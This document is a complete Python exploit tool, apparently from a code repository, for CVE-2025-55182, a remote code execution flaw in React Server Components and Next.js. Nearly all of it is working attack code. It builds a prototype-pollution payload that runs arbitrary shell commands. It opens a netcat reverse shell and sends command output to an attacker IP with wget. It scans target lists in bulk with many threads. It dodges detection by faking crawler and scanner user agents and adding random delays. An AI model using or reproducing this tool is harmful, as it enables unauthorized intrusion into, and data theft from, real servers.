README.md
Rendering markdown...
#!/usr/bin/env python3
"""
@file CVE-2025-55182 Exploit Script
@author Spritualkb
@date 2025-12-05
@lastModified 2025-12-05
@description React Server Components Remote Code Execution Exploit Tool
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️
Affected versions:
- react-server-dom-webpack: 19.0.0 - 19.2.0
- Next.js: 15.x, 16.x (using App Router with Server Actions)
This exploit leverages prototype pollution in Flight protocol deserialization
to achieve arbitrary code execution.
Dependencies:
- pip install requests
- pip install requests[socks] # Required for SOCKS5 proxy support
"""
import requests
import argparse
import sys
import time
import random
import base64
import hashlib
import urllib3
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
# Disable SSL warnings for self-signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Colors:
"""Terminal color class using ANSI escape codes"""
# Basic colors
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
# Styles
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
# Reset
RESET = '\033[0m'
@staticmethod
def success(text: str) -> str:
"""Success message - Green"""
return f"{Colors.GREEN}{Colors.BOLD}[+]{Colors.RESET} {Colors.GREEN}{text}{Colors.RESET}"
@staticmethod
def error(text: str) -> str:
"""Error message - Red"""
return f"{Colors.RED}{Colors.BOLD}[-]{Colors.RESET} {Colors.RED}{text}{Colors.RESET}"
@staticmethod
def warning(text: str) -> str:
"""Warning message - Yellow"""
return f"{Colors.YELLOW}{Colors.BOLD}[!]{Colors.RESET} {Colors.YELLOW}{text}{Colors.RESET}"
@staticmethod
def info(text: str) -> str:
"""Info message - Blue"""
return f"{Colors.BLUE}{Colors.BOLD}[*]{Colors.RESET} {Colors.BLUE}{text}{Colors.RESET}"
@staticmethod
def question(text: str) -> str:
"""Question message - Cyan"""
return f"{Colors.CYAN}{Colors.BOLD}[?]{Colors.RESET} {Colors.CYAN}{text}{Colors.RESET}"
@staticmethod
def highlight(text: str) -> str:
"""Highlighted text - Magenta bold"""
return f"{Colors.MAGENTA}{Colors.BOLD}{text}{Colors.RESET}"
@staticmethod
def target(text: str) -> str:
"""Target info - Cyan bold"""
return f"{Colors.CYAN}{Colors.BOLD}{text}{Colors.RESET}"
@staticmethod
def vuln(text: str) -> str:
"""Vulnerability info - Red bold"""
return f"{Colors.RED}{Colors.BOLD}{text}{Colors.RESET}"
@staticmethod
def safe(text: str) -> str:
"""Safe info - Green"""
return f"{Colors.GREEN}{text}{Colors.RESET}"
@staticmethod
def banner() -> str:
"""Print banner"""
banner_text = f"""
{Colors.RED}{Colors.BOLD}╔═══════════════════════════════════════════════════════════════╗
║ {Colors.YELLOW}CVE-2025-55182{Colors.RED} - React Server Components RCE Exploit ║
║ {Colors.CYAN}Next.js Remote Code Execution Tool{Colors.RED} ║
╚═══════════════════════════════════════════════════════════════╝{Colors.RESET}
"""
return banner_text
class StealthConfig:
"""
Stealth configuration for evasion techniques
Contains various User-Agent strings and request randomization options
"""
# Common browser User-Agents for blending in
USER_AGENTS = [
# Chrome on Windows
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
# Chrome on Mac
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
# Firefox on Windows
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
# Safari on Mac
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15',
# Edge on Windows
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
]
# Search engine crawlers (less suspicious for scanning)
CRAWLER_AGENTS = [
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)',
]
# Legitimate security scanner agents
SECURITY_AGENTS = [
'Mozilla/5.0 (compatible; Nessus SOAP)',
'Nuclei - Open-source project (github.com/projectdiscovery/nuclei)',
]
# Common Accept headers
ACCEPT_HEADERS = [
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'*/*',
]
# Common Accept-Language headers
ACCEPT_LANGUAGES = [
'en-US,en;q=0.9',
'en-GB,en;q=0.9',
'zh-CN,zh;q=0.9,en;q=0.8',
'ja-JP,ja;q=0.9,en;q=0.8',
]
@staticmethod
def get_random_ua(mode: str = 'browser') -> str:
"""
Get a random User-Agent based on mode
@param mode: 'browser', 'crawler', or 'security'
@returns Random User-Agent string
"""
if mode == 'crawler':
return random.choice(StealthConfig.CRAWLER_AGENTS)
elif mode == 'security':
return random.choice(StealthConfig.SECURITY_AGENTS)
else:
return random.choice(StealthConfig.USER_AGENTS)
@staticmethod
def get_random_headers(mode: str = 'browser') -> dict:
"""
Generate randomized headers to avoid fingerprinting
@param mode: 'browser', 'crawler', or 'security'
@returns Dictionary of HTTP headers
"""
headers = {
'User-Agent': StealthConfig.get_random_ua(mode),
'Accept': random.choice(StealthConfig.ACCEPT_HEADERS),
'Accept-Language': random.choice(StealthConfig.ACCEPT_LANGUAGES),
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache',
}
# Randomly add some optional headers to vary fingerprint
if random.random() > 0.5:
headers['DNT'] = '1'
if random.random() > 0.5:
headers['Upgrade-Insecure-Requests'] = '1'
if random.random() > 0.7:
headers['Sec-Fetch-Dest'] = 'document'
headers['Sec-Fetch-Mode'] = 'navigate'
headers['Sec-Fetch-Site'] = 'none'
return headers
class CVE2025_55182_RCE:
"""CVE-2025-55182 Full Remote Code Execution Exploit Class"""
def __init__(self, target_url: str, timeout: int = 15, proxy: str = None,
stealth_mode: str = 'browser', delay: float = 0):
"""
Initialize exploit instance
@param target_url: Target URL
@param timeout: Request timeout in seconds
@param proxy: SOCKS5 proxy address (e.g., socks5://127.0.0.1:1080)
@param stealth_mode: UA mode - 'browser', 'crawler', or 'security'
@param delay: Delay between requests in seconds (for rate limiting evasion)
"""
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.proxy = proxy
self.stealth_mode = stealth_mode
self.delay = delay
self.session = requests.Session()
# Disable SSL verification for self-signed/invalid certificates
self.session.verify = False
# Configure proxy
if proxy:
self.session.proxies = {
'http': proxy,
'https': proxy
}
print(Colors.info(f"Using proxy: {Colors.highlight(proxy)}"))
def _generate_boundary(self) -> str:
"""
Generate a random multipart boundary to avoid signature detection
@returns Random boundary string
"""
# Generate random boundary similar to real browsers
random_part = hashlib.md5(str(random.random()).encode()).hexdigest()[:16]
boundaries = [
f"----WebKitFormBoundary{random_part}",
f"----FormBoundary{random_part}",
f"---------------------------{random.randint(10000000000000, 99999999999999)}",
]
return random.choice(boundaries)
def _apply_delay(self):
"""Apply configured delay between requests"""
if self.delay > 0:
# Add some randomness to delay (±20%)
actual_delay = self.delay * (0.8 + random.random() * 0.4)
time.sleep(actual_delay)
def build_payload(self, command: str) -> tuple[str, str]:
"""
Build the RCE payload exploiting prototype pollution
@param command: Command to execute
@returns (body, content_type) multipart form data
The payload creates a fake React chunk object that:
1. Pollutes Object.prototype.then via "$1:__proto__:then"
2. Sets _formData.get to Function constructor via "$1:constructor:constructor"
3. Injects code via _prefix that gets passed to Function()
"""
boundary = self._generate_boundary()
# Escape single quotes in command for JavaScript string
escaped_cmd = command.replace("'", "'\"'\"'")
# Build the prefix payload that executes the command
# Use spawnSync with shell option for better stability (non-blocking alternative)
prefix_payload = (
f"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','{escaped_cmd}'],{{encoding:'utf8',timeout:5000}});"
f"var res=r.stdout||r.stderr||'';"
f"throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest:`NEXT_REDIRECT;push;/login?a=${{res.trim()}};307;`}});"
)
# Malicious fake chunk structure
part0 = (
'{"then":"$1:__proto__:then",'
'"status":"resolved_model",'
'"reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}",'
'"_response":{'
'"_prefix":"' + prefix_payload + '",'
'"_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}'
'}}'
)
# Build multipart form data body
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n"
f"--{boundary}--"
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type
def build_harmless_check_payload(self, variant: int = 0) -> tuple[str, str, str]:
"""
Build harmless detection payload variants for stealthy scanning
These payloads trigger the vulnerability signature without executing code
@param variant: Payload variant (0-4)
@returns (body, content_type, description) tuple
"""
boundary = self._generate_boundary()
# Different harmless payload variants
payloads = [
# Variant 0: Minimal prototype access check (original)
{
'body': f'["$1:a:a"]',
'desc': 'Minimal prototype access'
},
# Variant 1: Empty object reference
{
'body': f'{{"$":"$1:x:x"}}',
'desc': 'Empty object reference'
},
# Variant 2: Null value injection
{
'body': f'["$1:__proto__:null"]',
'desc': 'Null prototype check'
},
# Variant 3: Array with reference
{
'body': f'[{{"ref":"$1:test:test"}}]',
'desc': 'Array reference check'
},
# Variant 4: Nested object check
{
'body': f'{{"a":{{"b":"$1:c:d"}}}}',
'desc': 'Nested object check'
},
]
selected = payloads[variant % len(payloads)]
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f'{selected["body"]}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'{{}}\r\n'
f"--{boundary}--"
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type, selected['desc']
def execute(self, command: str) -> dict:
"""
Execute arbitrary command on target server
@param command: Shell command to execute
@returns Dictionary with success status and output
"""
print(Colors.info(f"Target: {Colors.target(self.target_url)}"))
print(Colors.info(f"Command: {Colors.highlight(command)}"))
# Get randomized headers for stealth
headers = StealthConfig.get_random_headers(self.stealth_mode)
headers['Accept'] = 'text/x-component'
headers['Next-Action'] = 'x' # Invalid action ID triggers vulnerable path
body, content_type = self.build_payload(command)
headers['Content-Type'] = content_type
result = {
'success': False,
'command': command,
'target': self.target_url,
}
self._apply_delay()
try:
print(Colors.info("Sending exploit payload..."))
resp = self.session.post(
self.target_url,
headers=headers,
data=body,
timeout=self.timeout
)
result['status_code'] = resp.status_code
result['response'] = resp.text[:500]
# Check for successful exploitation indicators
if resp.status_code == 500:
print(Colors.success(f"Exploit sent successfully (status {Colors.vuln('500')})"))
result['success'] = True
elif 'X-Action-Redirect' in resp.headers:
redirect = resp.headers.get('X-Action-Redirect', '')
if 'login?a=' in redirect:
print(Colors.success(f"Command executed! Result in redirect: {Colors.highlight(redirect)}"))
result['success'] = True
result['output'] = redirect
else:
print(Colors.question(f"Unexpected redirect: {redirect}"))
else:
print(Colors.question(f"Unexpected status: {resp.status_code}"))
except requests.exceptions.Timeout:
# Timeout might indicate the payload was processed
print(Colors.success("Request timed out (may indicate successful RCE)"))
result['success'] = True
result['timeout'] = True
except Exception as e:
print(Colors.error(f"Error: {e}"))
result['error'] = str(e)
return result
def check_vulnerability(self, use_variants: bool = False) -> bool:
"""
Quick check if target is vulnerable using actual exploit with harmless command
@param use_variants: Use multiple payload variants for thorough check
@returns True if vulnerable, False otherwise
"""
print(Colors.info(f"Checking {Colors.target(self.target_url)} for vulnerability..."))
# 使用实际的漏洞利用载荷,但执行无害命令 pwd
# 返回路径以 / 开头,容易匹配
check_command = "pwd"
body, content_type = self.build_payload(check_command)
# Get randomized headers for stealth
headers = StealthConfig.get_random_headers(self.stealth_mode)
headers['Accept'] = 'text/x-component'
headers['Next-Action'] = 'x'
headers['Content-Type'] = content_type
self._apply_delay()
try:
resp = self.session.post(
self.target_url,
headers=headers,
data=body,
timeout=self.timeout
)
# 检查漏洞利用成功的指标
# 1. 状态码 500 且包含特定错误信息
if resp.status_code == 500 and 'E{"digest"' in resp.text:
print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (error-based detection)"))
return True
# 2. 检查 X-Action-Redirect 头 (命令执行成功的标志)
if 'X-Action-Redirect' in resp.headers:
redirect = resp.headers.get('X-Action-Redirect', '')
# pwd 返回路径以 / 开头,如 /login?a=/app/web
if 'login?a=/' in redirect:
print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (command execution confirmed)"))
return True
# 3. 检查响应体中是否有命令执行结果
if 'login?a=/' in resp.text:
print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (response-based detection)"))
return True
# 4. 其他可能的漏洞指标
if resp.status_code == 500 and ('prototype' in resp.text.lower() or
'cannot read' in resp.text.lower()):
print(Colors.success(f"Target appears {Colors.vuln('LIKELY VULNERABLE')}!"))
return True
print(Colors.error(f"Target may not be vulnerable (status {resp.status_code})"))
return False
except requests.exceptions.Timeout:
# 超时可能表示漏洞存在,但不确定,返回 'timeout' 标记
print(Colors.warning(f"Request timeout - target {Colors.vuln('MAY BE VULNERABLE')} (command may be executing)"))
return 'timeout' # 返回特殊标记,不写入文件
except requests.exceptions.ConnectionError:
print(Colors.error(f"Check failed: Cannot connect to target"))
return False
except Exception as e:
print(Colors.error(f"Check failed: {e}"))
return False
def reverse_shell(self, attacker_ip: str, attacker_port: int) -> dict:
"""
Attempt to establish a reverse shell
@param attacker_ip: IP address to connect back to
@param attacker_port: Port to connect back to
"""
# mkfifo reverse shell - works on Alpine/busybox containers
revshell = (
f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f"
)
print(Colors.warning(f"Attempting reverse shell to {Colors.highlight(f'{attacker_ip}:{attacker_port}')}"))
print(Colors.warning(f"Start listener: {Colors.highlight(f'nc -lvnp {attacker_port}')}"))
return self.execute(revshell)
def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -> dict:
"""
Execute command and send output to attacker via HTTP POST
@param command: Command to execute
@param attacker_ip: IP address to send output to
@param attacker_port: Port to send output to
Start a listener with: nc -lvnp PORT
Output will arrive as HTTP POST body.
"""
# Using wget to POST command output back
exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2>/dev/null'
print(Colors.warning(f"Executing: {Colors.highlight(command)}"))
print(Colors.warning(f"Output will POST to {Colors.highlight(f'{attacker_ip}:{attacker_port}')}"))
print(Colors.warning(f"Start listener: {Colors.highlight(f'nc -lvnp {attacker_port}')}"))
return self.execute(exfil_cmd)
# Thread-safe lock for file writing and counters
_file_lock = threading.Lock()
_counter_lock = threading.Lock()
def _check_single_target(target, timeout, proxy, stealth_mode, delay, use_variants,
output_file, results, counter, total):
"""
Check a single target (used by thread pool)
@param target: Target URL
@param timeout: Request timeout
@param proxy: Proxy address
@param stealth_mode: UA mode
@param delay: Delay between requests
@param use_variants: Use payload variants
@param output_file: Output file path
@param results: Shared results dict
@param counter: Shared counter list [current]
@param total: Total targets count
"""
# Ensure URL has protocol prefix
if not target.startswith(('http://', 'https://')):
target = f'http://{target}'
with _counter_lock:
counter[0] += 1
idx = counter[0]
progress = f"[{idx}/{total}]"
print(f"\n{Colors.YELLOW}{Colors.BOLD}{progress}{Colors.RESET} Checking: {Colors.target(target)}")
try:
exploit = CVE2025_55182_RCE(target, timeout, proxy, stealth_mode, delay)
result = exploit.check_vulnerability(use_variants)
if result == True: # 确认漏洞,写入文件
with _counter_lock:
results['vulnerable'].append(target)
# Immediately append to output file if specified
if output_file:
with _file_lock:
try:
with open(output_file, 'a', encoding='utf-8') as f:
f.write(f"{target}\n")
print(Colors.success(f"Appended to: {Colors.highlight(output_file)}"))
except Exception as e:
print(Colors.error(f"Failed to append: {e}"))
elif result == 'timeout': # 超时,不写入文件
with _counter_lock:
results['timeout'].append(target)
else:
with _counter_lock:
results['not_vulnerable'].append(target)
except Exception as e:
print(Colors.error(f"Error checking {target}: {e}"))
with _counter_lock:
results['not_vulnerable'].append(target)
def batch_check(file_path, timeout=15, output_file=None, proxy=None,
stealth_mode='browser', delay=0, use_variants=False, threads=10):
"""
Batch check targets from file for vulnerability (multi-threaded)
@param file_path: Path to file containing target URLs
@param timeout: Request timeout in seconds
@param output_file: Path to save vulnerable targets
@param proxy: SOCKS5 proxy address
@param stealth_mode: UA mode - 'browser', 'crawler', or 'security'
@param delay: Delay between requests in seconds
@param use_variants: Use multiple payload variants
@param threads: Number of concurrent threads
@returns (vulnerable_list, not_vulnerable_list) tuple
"""
results = {'vulnerable': [], 'not_vulnerable': [], 'timeout': []}
counter = [0] # Mutable counter for threads
def target_generator(file_path):
"""Generator to read targets lazily, avoiding memory issues with large files"""
with open(file_path, 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
yield line
try:
# First pass: count total lines (memory efficient)
print(Colors.info("Counting targets..."))
total = sum(1 for line in open(file_path, 'r', encoding='utf-8')
if line.strip() and not line.strip().startswith('#'))
print(Colors.info(f"Loaded {Colors.highlight(str(total))} targets"))
except FileNotFoundError:
print(Colors.error(f"File not found: {file_path}"))
return [], []
except Exception as e:
print(Colors.error(f"Failed to read file: {e}"))
return [], []
print(Colors.info(f"Threads: {Colors.highlight(str(threads))}"))
if proxy:
print(Colors.info(f"Using proxy: {Colors.highlight(proxy)}"))
print(Colors.info(f"Stealth mode: {Colors.highlight(stealth_mode)}"))
if delay > 0:
print(Colors.info(f"Request delay: {Colors.highlight(f'{delay}s')}"))
print(f"{Colors.CYAN}{'-' * 60}{Colors.RESET}")
# Use ThreadPoolExecutor for concurrent scanning with generator
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = []
# Submit tasks using generator (memory efficient for large files)
for target in target_generator(file_path):
future = executor.submit(
_check_single_target, target, timeout, proxy, stealth_mode,
delay, use_variants, output_file, results, counter, total
)
futures.append(future)
# Wait for all tasks to complete
for future in as_completed(futures):
try:
future.result()
except Exception as e:
print(Colors.error(f"Thread error: {e}"))
# Output statistics
vulnerable = results['vulnerable']
not_vulnerable = results['not_vulnerable']
timeout_targets = results['timeout']
print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}")
vuln_count = f"{Colors.GREEN}{Colors.BOLD}{len(vulnerable)}{Colors.RESET}"
timeout_count = f"{Colors.YELLOW}{len(timeout_targets)}{Colors.RESET}"
safe_count = f"{Colors.RED}{len(not_vulnerable)}{Colors.RESET}"
print(Colors.info(f"Scan complete! Total: {Colors.highlight(str(total))}, Vulnerable: {vuln_count}, Timeout: {timeout_count}, Not vulnerable: {safe_count}"))
print(f"{Colors.CYAN}{'=' * 60}{Colors.RESET}")
if vulnerable:
print(Colors.success("Vulnerable targets (confirmed):"))
for target in vulnerable:
print(f" {Colors.vuln('●')} {Colors.target(target)}")
# Results already saved incrementally during scan
if output_file:
print(Colors.success(f"All results saved to: {Colors.highlight(output_file)}"))
if timeout_targets:
print(Colors.warning(f"Timeout targets (may be vulnerable, not saved): {len(timeout_targets)}"))
return vulnerable, not_vulnerable
def main():
"""Main entry point"""
parser = argparse.ArgumentParser(
description='CVE-2025-55182 React Server Components RCE Exploit Tool',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Check single target for vulnerability
python3 exploit.py http://target:3000 --check
# Use SOCKS5 proxy for scanning
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
# Batch check from file with stealth options
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Batch check with multiple payload variants
python3 exploit.py -f targets.txt --check --variants
# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt
# Execute command (blind)
python3 exploit.py http://target:3000 -c "id"
# Exfiltrate command output
python3 exploit.py http://target:3000 --exfil "id" 10.0.0.1 4444
# Reverse shell (mkfifo + nc, works on Alpine)
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
Stealth Modes:
browser - Mimics real browser requests (default)
crawler - Mimics search engine crawlers (Googlebot, Baiduspider, etc.)
security - Uses security scanner User-Agents
'''
)
parser.add_argument('target', nargs='?', help='Target URL (e.g., http://localhost:3000)')
parser.add_argument('-f', '--file', help='File containing target URLs (one per line)')
parser.add_argument('-o', '--output', help='Output file for vulnerable targets')
parser.add_argument('-c', '--command', help='Command to execute (blind)')
parser.add_argument('--check', action='store_true', help='Check for vulnerability')
parser.add_argument('--proxy', help='SOCKS5 proxy (e.g., socks5://127.0.0.1:1080)')
parser.add_argument('--stealth', choices=['browser', 'crawler', 'security'],
default='browser', help='Stealth mode for User-Agent (default: browser)')
parser.add_argument('--delay', type=float, default=0,
help='Delay between requests in seconds (default: 0)')
parser.add_argument('--variants', action='store_true',
help='Use multiple payload variants for thorough check')
parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'),
help='Reverse shell to IP:PORT')
parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'),
help='Execute CMD and POST output to IP:PORT')
parser.add_argument('-t', '--timeout', type=int, default=15,
help='Request timeout in seconds (default: 15)')
parser.add_argument('--threads', type=int, default=10,
help='Number of concurrent threads for batch scan (default: 10)')
args = parser.parse_args()
if not any([args.check, args.command, args.revshell, args.exfil]):
parser.print_help()
print(Colors.warning("Please specify --check, --command, --revshell, or --exfil"))
return 1
# Check if target or file is provided
if not args.target and not args.file:
parser.print_help()
print(Colors.warning("Please specify target URL or use -f for target file"))
return 1
# Print colored banner
print(Colors.banner())
# Batch check mode
if args.file and args.check:
vulnerable, _ = batch_check(
args.file, args.timeout, args.output, args.proxy,
args.stealth, args.delay, args.variants, args.threads
)
return 0 if vulnerable else 1
# Single target mode requires target argument
if not args.target:
parser.print_help()
print(Colors.warning("Single target mode requires target URL"))
return 1
exploit = CVE2025_55182_RCE(
args.target, args.timeout, args.proxy,
args.stealth, args.delay
)
if args.check:
return 0 if exploit.check_vulnerability(args.variants) else 1
if args.command:
result = exploit.execute(args.command)
return 0 if result.get('success') else 1
if args.revshell:
ip, port = args.revshell
result = exploit.reverse_shell(ip, int(port))
return 0 if result.get('success') else 1
if args.exfil:
cmd, ip, port = args.exfil
result = exploit.exfiltrate(cmd, ip, int(port))
return 0 if result.get('success') else 1
return 0
if __name__ == '__main__':
sys.exit(main())